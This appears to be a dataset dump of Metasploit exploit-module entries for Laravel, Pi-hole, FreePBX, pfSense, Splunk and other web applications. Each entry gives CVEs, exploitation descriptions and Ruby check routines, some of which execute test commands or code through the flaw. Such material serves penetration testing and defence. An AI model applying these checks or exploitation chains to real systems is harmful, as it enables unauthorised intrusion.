deardaniel/secdata-raw huggingface dataset:
Metasploit Module: PHP Laravel Framework token Unserialize Remote Command Execution
Type: exploit
Path: modules/exploits/unix/http/laravel_token_unserialize_exec.rb
Platform: unix
Disclosure date: 2018-08-07
References: CVE-2018-15133, CVE-2017-16894, URL-https://github.com/kozmic/laravel-poc-CVE-2018-15133, URL-https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30, URL-https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f[PII_REDACTED]a0

Description:
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
          Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
          an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
          Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
          Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
          In some cases the APP_KEY is leaked which allows for discovery and exploitation.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    })

    # Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
    unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
      return CheckCode::Unknown('Target does not appear to be a Laravel application')
    end

    auth_token = check_appkey
    if auth_token.blank? || test_appkey(auth_token) == false
      vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
      return CheckCode::Detected('Laravel detected but APP_KEY is invalid')
    end

    random_string = Rex::Text.rand_text_alphanumeric(12)

    1.upto(4) do |method|
      vuln = generate_token("echo #{random_string}", auth_token, method)

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'headers' => {
          'X-XSRF-TOKEN' => "#{vuln}",
        }
      })

      if res.body.include?(random_string)
        return CheckCode::Vulnerable('Successfully executed command via deserialization')
      # Not conclusive but witnessed in the wild
      elsif res.body.include?('Method Not Allowed')
        return CheckCode::Safe('Laravel responded with Method Not Allowed')
      end
    end
    CheckCode::Detected('Laravel detected but could not confirm vulnerability')
  rescue Rex::ConnectionError
    CheckCode::Unknown('C
Metasploit Module: LifeSize Room Command Injection
Type: exploit
Path: modules/exploits/unix/http/lifesize_room.rb
Disclosure date: 2011-07-13
References: CVE-2011-2763, OSVDB-75212

Description:
This module exploits a vulnerable resource in LifeSize
          Room versions 3.5.3 and 4.7.18 to inject OS commands.  LifeSize
          Room is an appliance and thus the environment is limited
          resulting in a small set of payload options.
Metasploit Module: Pi-Hole heisenbergCompensator Blocklist OS Command Execution
Type: exploit
Path: modules/exploits/unix/http/pihole_blocklist_exec.rb
Platform: php
Disclosure date: 2020-05-10
References: EDB-48443, EDB-48442, URL-https://frichetten.com/blog/cve-2020-11108-pihole-rce/, URL-https://github.com/frichetten/CVE-2020-11108-PoC, CVE-2020-11108

Description:
This exploits a command execution in Pi-Hole <= 4.4.  A new blocklist is added, and then an
          update is forced (gravity) to pull in the blocklist content.  PHP content is then written
          to a file within the webroot.  Phase 1 writes a sudo pihole command to launch teleporter,
          effectively running a priv esc.  Phase 2 writes our payload to teleporter.php, overwriting,
          the content.  Lastly, the phase 1 PHP file is called in the web root, which launches
          our payload in teleporter.php with root privileges.

Check method (fingerprinting):
begin
      version, _web_version, _ftl = get_versions

      if version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown('Could not determine Pi-hole version')
      end

      if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears("Pi-hole version #{version} appears vulnerable")
      else
        vprint_bad("Version Detected: #{version}")
        return CheckCode::Safe("Pi-hole version #{version} is not vulnerable")
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown('Connection to Pi-hole failed')
    end
  end
Metasploit Module: tnftp "savefile" Arbitrary Command Execution
Type: exploit
Path: modules/exploits/unix/http/tnftp_savefile.rb
Platform: unix
Disclosure date: 2014-10-28
References: CVE-2014-8517, URL-https://seclists.org/oss-sec/2014/q4/459

Description:
This module exploits an arbitrary command execution vulnerability in
          tnftp's handling of the resolved output filename - called "savefile" in
          the source - from a requested resource.

          If tnftp is executed without the -o command-line option, it will resolve
          the output filename from the last component of the requested resource.

          If the output filename begins with a "|" character, tnftp will pass the
          fetched resource's output to the command directly following the "|"
          character through the use of the popen() function.
Metasploit Module: Dell KACE K1000 File Upload
Type: exploit
Path: modules/exploits/unix/http/dell_kace_k1000_upload.rb
Platform: unix
Disclosure date: 2014-03-07
References: CVE-2014-125113, URL-http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html

Description:
This module exploits a file upload vulnerability in Kace K1000
          versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547
          which allows unauthenticated users to execute arbitrary commands
          under the context of the 'www' user.

          This module also abuses the 'KSudoClient::RunCommandWait' function
          to gain root privileges.

          This module has been tested successfully with Dell KACE K1000
          version 5.3.

Check method (fingerprinting):
res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php'))
    unless res
      vprint_error('Connection failed')
      return Exploit::CheckCode::Unknown('Connection to Dell KACE K1000 failed')
    end
    if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000'
      if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/
        vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}")
        if $1.to_i == 5 && $2.to_i <= 3                         # 5.0 to 5.3
          return Exploit::CheckCode::Vulnerable("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is vulnerable")
        elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849  # 5.4 prior to 5.4.76849
          return Exploit::CheckCode::Vulnerable("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is vulnerable")
        elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547  # 5.5 prior to 5.5.90547
          return Exploit::CheckCode::Vulnerable("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is vulnerable")
        end

        return Exploit::CheckCode::Safe("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is not vulnerable")
      end
      return Exploit::CheckCode::Detected('Dell KACE K1000 detected but version could not be parsed')
    end
    Exploit::CheckCode::Safe('Target does not appear to be Dell KACE K1000')
  end
Metasploit Module: VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution
Type: exploit
Path: modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb
Platform: unix
Disclosure date: 2014-06-25
References: CVE-2014-5073, OSVDB-109572, URL-http://web.archive.org/web/[PII_REDACTED]4331/http://secunia.com:80/secunia_research/2014-8/
Targets: Unix CMD, VMTurbo Operations Manager

Description:
VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
          OS Command injection in the web interface. Use reverse payloads for the most
          reliable results. Since it is a blind OS command injection vulnerability,
          there is no output for the executed command when using the cmd generic payload.
          Port binding payloads are disregarded due to the restrictive firewall settings.

          This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and
          4.6.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => '/cgi-bin/vmtadmin.cgi',
        'vars_get' => {
          'callType' => 'ACTION',
          'actionType' => 'VERSIONS'
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error('Failed to connect to the web server')
      return Exploit::CheckCode::Unknown('Connection to VMTurbo failed')
    end

    if res and res.code == 200 and res.body =~ /vmtbuild:(\d+),vmtrelease:([\d.]+),vmtbits:\d+,osbits:\d+/
      version = ::Regexp.last_match(2)
      build = ::Regexp.last_match(1)

      vprint_status("VMTurbo Operations Manager version #{version} build #{build} detected")
    else
      vprint_status('Unexpected vmtadmin.cgi response')
      return Exploit::CheckCode::Unknown('Unexpected response from vmtadmin.cgi')
    end

    # NOTE: (@todb): This PHP style comparison seems incorrect, since
    # strings are being compared and not numbers. Example:
    # 1.9.3p547 :001 > a = "4.6"
    #  => "4.6"
    # 1.9.3p547 :002 > b = "10.6"
    #  => "10.6"
    # 1.9.3p547 :003 > a <= b
    #
    # Also, the description says 4.5 is also vuln. This doesn't
    # appear to care.
    if version and version <= '4.6' and build < '28657'
      return Exploit::CheckCode::Appears("VMTurbo version #{version} build #{build} appears vulnerable")
    else
      return Exploit::CheckCode::Safe("VMTurbo version #{version} build #{build} is not vulnerable")
Metasploit Module: Pi-Hole DHCP MAC OS Command Execution
Type: exploit
Path: modules/exploits/unix/http/pihole_dhcp_mac_exec.rb
Platform: unix
Disclosure date: 2020-03-28
References: URL-http://web.archive.org/web/[PII_REDACTED]3651/https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/, CVE-2020-8816

Description:
This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP static lease is added
          with a MAC address which includes an RCE.  Exploitation requires /opt/pihole to be first
          in the $PATH due to exploitation constraints.  DHCP server is not required to be running.

Check method (fingerprinting):
begin
      _version, web_version, _ftl = get_versions

      if web_version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown('Could not determine Pi-hole web interface version')
      end

      if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
        vprint_good("Web Interface Version Detected: #{web_version}")
        return CheckCode::Appears("Pi-hole web interface version #{web_version} appears vulnerable")
      else
        vprint_bad("Web Interface Version Detected: #{web_version}")
        return CheckCode::Safe("Pi-hole web interface version #{web_version} is not vulnerable")
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown('Connection to Pi-hole failed')
    end
  end
Metasploit Module: CTEK SkyRouter 4200 and 4300 Command Execution
Type: exploit
Path: modules/exploits/unix/http/ctek_skyrouter.rb
Platform: unix
Disclosure date: 2011-09-08
References: CVE-2011-5010, OSVDB-77497

Description:
This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
Metasploit Module: FreePBX endpoint SQLi to RCE
Type: exploit
Path: modules/exploits/unix/http/freepbx_custom_extension_rce.rb
Platform: linux
Disclosure date: 2025-12-11
References: CVE-2025-66039, CVE-2025-61675, URL-https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/

Description:
FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use
          VoIP to make and receive phone calls. Versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,
          while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an
          authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it
          allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module
          exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an
          unauthenticated SQL injection attack and gains remote code execution by injecting an SQL record into th
          cron_jobs table. The cron_jobs database contains cron tasks that FreePBX executes in the context of the
          operating system.

Check method (fingerprinting):
res = sqli_custom_extension(%('))
    if res&.code == 500
      return Exploit::CheckCode::Vulnerable('Detected SQL injection with authentication bypass')
    end

    Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
  end
Metasploit Module: pfSense Diag Routes Web Shell Upload
Type: exploit
Path: modules/exploits/unix/http/pfsense_diag_routes_webshell.rb
Platform: unix
Disclosure date: 2022-02-23
References: CVE-2021-41282, URL-https://www.shielder.it/advisories/pfsense-remote-command-execution/
Targets: Unix Command, BSD Dropper

Description:
This module exploits an arbitrary file creation vulnerability in the pfSense
          HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
          and can be exploited by an authenticated user if they have the
          "WebCfg - Diagnostics: Routing tables" privilege.

          This module uses the vulnerability to create a web shell and execute payloads
          with root privileges.

Check method (fingerprinting):
# Grab a CSRF token so that we can log in
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
    return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')

    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    return CheckCode::Unknown('Could not find CSRF token') unless csrf

    # send the log in attempt
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld' => datastore['USERNAME'],
        'passwordfld' => datastore['PASSWORD'],
        'login' => ''
      }
    )

    return CheckCode::Detected('No response to log in attempt.') unless res
    return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302

    # save the auth cookie for later user
    @auth_cookies = res.get_cookies

    # attempt the exploit. Upload a random file to /usr/local/www/ with random contents
    filename = Rex::Text.rand_text_alpha(4..12)
    contents = Rex::Text.rand_text_alpha(16..32)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/diag_routes.php
Metasploit Module: FreePBX ajax.php unauthenticated SQLi to RCE
Type: exploit
Path: modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
Platform: linux
Disclosure date: 2025-08-28
References: CVE-2025-57819, URL-https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/

Description:
This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
          and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
          authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
          remote code execution on the target system.

Check method (fingerprinting):
print_status('Checking if vulnerable...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
      }
    )

    if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
      return Exploit::CheckCode::Vulnerable('Detected SQL injection')
    end

    Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
  end
Metasploit Module: ContentKeeper Web Remote Command Execution
Type: exploit
Path: modules/exploits/unix/http/contentkeeperweb_mimencode.rb
Platform: unix
Disclosure date: 2009-02-25
References: CVE-2009-20011, OSVDB-54551, OSVDB-54552, URL-http://www.aushack.com/200904-contentkeeper.txt

Description:
This module exploits the ContentKeeper Web Appliance. Versions prior
          to 125.10 are affected. This module exploits a combination of weaknesses
          to enable remote command execution as the Apache user. By setting
          SkipEscalation to false, this module will attempt to setuid the bash shell.

Check method (fingerprinting):
connect
    sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
    banner = sock.get_once(-1, 3)
    disconnect

    if (banner =~ /500 Internal/)
      return Exploit::CheckCode::Vulnerable('ContentKeeper mimencode CGI returned 500 Internal error')
    end

    return Exploit::CheckCode::Safe('ContentKeeper mimencode CGI not detected')
  end
Metasploit Module: Zivif Camera iptest.cgi Blind Remote Command Execution
Type: exploit
Path: modules/exploits/unix/http/zivif_ipcheck_exec.rb
Platform: unix
Disclosure date: 2017-09-01
References: URL-https://seclists.org/fulldisclosure/2017/Dec/42, CVE-2017-17105

Description:
This module exploits a remote command execution vulnerability in Zivif
          webcams.  This is known to impact versions prior to and including v2.3.4.2103.
          Exploit was reported in CVE-2017-17105.

Check method (fingerprinting):
res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
    unless res
      vprint_error('Connection failed')
      return Exploit::CheckCode::Unknown('Connection to Zivif camera failed')
    end
    unless res.code && res.code == 200
      return CheckCode::Safe('Zivif iptest.cgi not found')
    end

    CheckCode::Detected('Zivif iptest.cgi endpoint detected')
  end
Metasploit Module: Splunk Authenticated XSLT Upload RCE
Type: exploit
Path: modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb
Platform: unix
Disclosure date: 2023-11-28
References: CVE-2023-46214, URL-https://github.com/nathan31337/Splunk-RCE-poc, URL-https://advisory.splunk.com/advisories/SVD-2023-1104, URL-https://blog.hrncirik.net/cve-2023-46214-analysis

Description:
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.
          The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages
          a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid
          credentials, typically 'admin:changeme' by default.

          The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the
          vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'
          capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides
          the attacker with remote control over the compromised Splunk instance. The module is designed to work
          seamlessly, ensuring successful exploitation under the right conditions.

Check method (fingerprinting):
unless splunk?
      return CheckCode::Unknown('Target does not appear to be a Splunk instance')
    end

    begin
      cookie_string = authenticate
    rescue RuntimeError
      cookie_string = nil
    end

    unless cookie_string
      return CheckCode::Detected('The target is Splunk but authentication failed')
    end

    version = get_version_authenticated(cookie_string)
    return CheckCode::Detected('Unable to determine Splunk version') unless version

    if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||
       version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))
      return CheckCode::Appears("Exploitable version found: #{version}")
    end

    CheckCode::Safe("Non-vulnerable version found: #{version}")
  end
Metasploit Module: TWiki Debugenableplugins Remote Code Execution
Type: exploit
Path: modules/exploits/unix/http/twiki_debug_plugins.rb
Platform: unix
Disclosure date: 2014-10-09
References: CVE-2014-7236, OSVDB-112977, URL-http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236

Description:
TWiki 4.0.x-6.0.0  contains a vulnerability in the Debug functionality.
          The value of the debugenableplugins parameter is used without proper sanitization
          in an Perl eval statement which allows remote code execution.

Check method (fingerprinting):
rand_1 = rand_text_alpha(5)
    rand_2 = rand_text_alpha(5)

    code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
    res = send_code(code)

    if res and res.code == 200
      return CheckCode::Vulnerable('Successfully executed code via TWiki debug plugins') if res.body == rand_1 + rand_2
    end
    CheckCode::Unknown('Could not determine if TWiki debug plugins are exploitable')
  end
Metasploit Module: RaspAP Unauthenticated Command Injection
Type: exploit
Path: modules/exploits/unix/http/raspap_rce.rb
Platform: unix
Disclosure date: 2023-07-31
References: CVE-2022-39986, URL-https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2
Targets: Unix Command, Linux Dropper

Description:
RaspAP is feature-rich wireless router software that just works
          on many popular Debian-based devices, including the Raspberry Pi.
          A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows
          unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id
          parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.

          Successfully tested against RaspAP 2.8.0 and 2.8.7.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),
      'method' => 'POST'
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?

    if res.code == 200
      return CheckCode::Appears('RaspAP OpenVPN config deletion endpoint is accessible')
    end

    CheckCode::Safe('RaspAP OpenVPN config deletion endpoint is not accessible')
  end